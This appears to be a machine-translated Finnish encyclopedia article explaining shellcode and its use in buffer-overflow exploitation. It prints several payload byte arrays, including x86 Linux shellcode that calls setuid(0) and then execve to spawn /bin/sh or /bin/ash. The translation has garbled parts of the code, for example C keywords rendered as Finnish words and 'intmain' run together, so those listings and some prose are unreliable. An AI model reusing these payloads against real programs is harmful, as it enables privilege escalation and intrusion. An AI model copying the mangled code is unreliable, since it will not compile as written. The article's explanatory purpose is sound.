Kuorikoodi
Shellcode on joukko komentoja, jotka on yleensä ohjelmoitu kokoonpanokielellä ja siirretty opkoodeihin (heksadesimaaliarvojen joukko), jotka yleensä ruiskutetaan ohjelman suorituspinoon (tai pinoon ), jotta kone, jolla se sijaitsee, suorittamaan ajoitettu toiminto. .
Termi
Termi shellcode johtuu niiden yleisestä tarkoituksesta, tämä oli osa hyväksikäyttöä , jota käytettiin kuoren hankkimiseen . Tämä on tällä hetkellä yleisin tarkoitus, johon niitä käytetään.
Pascal shellcode esimerkki
Shell-koodin suorittamiseen käytetään yleensä korkeamman tason kieltä, kuten Pascal -kieltä . Kokoonpanokoodistamme saadut opkoodit luetellaan tavutyyppisenä taulukkona ja ladataan kutsuttavaan prototyyppiin.
Esimerkki shell-koodista on seuraava:
Prototyyppiajo _ 'Muuttujat. Muutt ShellCode[]: Tavu ' Tavutaulukko OpCodelle. Var Prototype:Exec ' Prototyyppi, joka suorittaa ShellCoden. ' Alusta/lataa ShellCode. ShellCode = [&31,&d2,&b2,&30,&64,&8b,&12,&8b,&52,&0c,&8b,&52,&1c,&8b,&42 _ ,&08,&8b,&72,&20,&8b,&12,&80,&7e,&0c,&33,&75,&f2,&89,&c7,&03 _ ,&78,&3c,&8b,&57,&78,&01,&c2,&8b,&7a,&20,&01,&c7,&31,&ed,&8b _ ,&34,&af,&01,&c6,&45,&81,&3e,&46,&61,&74,&61,&75,&f2,&81,&7e _ ,&08,&45,&78,&69,&74,&75,&e9,&8b,&7a,&24,&01,&c7,&66,&8b,&2c _ ,&6f,&8b,&7a,&1c,&01,&c7,&8b,&7c,&af,&fc,&01,&c7,&68,&79,&74 _ ,&65,&01,&68,&6b,&65,&6e,&42,&68,&20,&42,&72,&6f,&89,&e1,&fe_ ,&49,&0b,&31,&c0,&51,&50,&ff,&d7] "Asetimme prototyyppikoodin suoritettavaksi. Prototyyppi@ = ShellCode[0]@ ' Suoritamme ShellCoden. Prototyyppi
Kuten voidaan nähdä, opkoodit ovat heksadesimaaliarvoja, jotka muunnetaan tavuiksi (kokonaislukuarvot välillä 0-255) ja jotka käyttöjärjestelmä ymmärtää suorittamansa kokoonpanokoodina.
C shellcode esimerkki
Seuraava esimerkki näyttää shellkoodin, joka sisältyy C-kielellä kirjoitetun ohjelman taulukkoon:
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x46" /* mov $0x46,%al */
"\xcd\x80" /* int $ 0x80 */
"\x50" /* pushl %eax */
"\x68""/ash" /* pushl $0x6873612f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $ 0x80 */
;
Joten meillä on, että shellkoodi on konekoodi , joka on kirjoitettu heksadesimaalimuodossa . Niitä käytetään myöhemmin C-kielellä kirjoitetuissa ohjelmissa, kuten seuraavassa shell-koodiesimerkissä:
// shellcode.c
// käännetään komennolla gcc shellcode.c -o shellcode
void main()
{
((void(*)(void))
{
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9"
"\xb0\x04\xb3\x01\x59\xb2\x21\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff"
"\xff\xff\x76\x69\x73\x69\x74\x61\x20\x68"
"\x74\x74\x70\x3a\x2f\x2f\x68\x65\x69\x6e"
"\x7a\x2e\x68\x65\x72\x6c\x69\x74\x7a\x2e"
"\x63\x6c\x20\x3d\x29"
}
)();
}
Tai tämä toinen:
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
intmain()
{
mitätön (*fp)();
fp = (tyhjä*) &shellcode;
fp();
}
Tiedot
Shell-koodien on oltava lyhyitä, jotta ne voidaan pistää pinoon, joka on yleensä pieni tila.
Shellkoodeja käytetään koodin suorittamiseen hyödyntämällä tiettyjä koodin haavoittuvuuksia, joita kutsutaan puskurin ylivuodoksi . Pääasiassa shell-koodi on ohjelmoitu sallimaan komentotulkin suorittaminen tartunnan saaneessa tietokoneessa.
On yleistä, että shell-koodin käännöksessä tuotetaan nollatavuja , jotka on poistettava siitä, koska ne pysäyttäisivät shellkoodin suorittamisen . Tätä varten ohjelmoija käyttää erilaisia tekniikoita, kuten korvaamalla NULL-tavuja luovat käskyt muilla, jotka eivät tuota, tai suorittamalla XOR-operaation, siirtymällä pienempiin rekistereihin (kuten AH, AL) ja mahdollistamalla siten shellkoodin olevan todella ruiskettavissa. .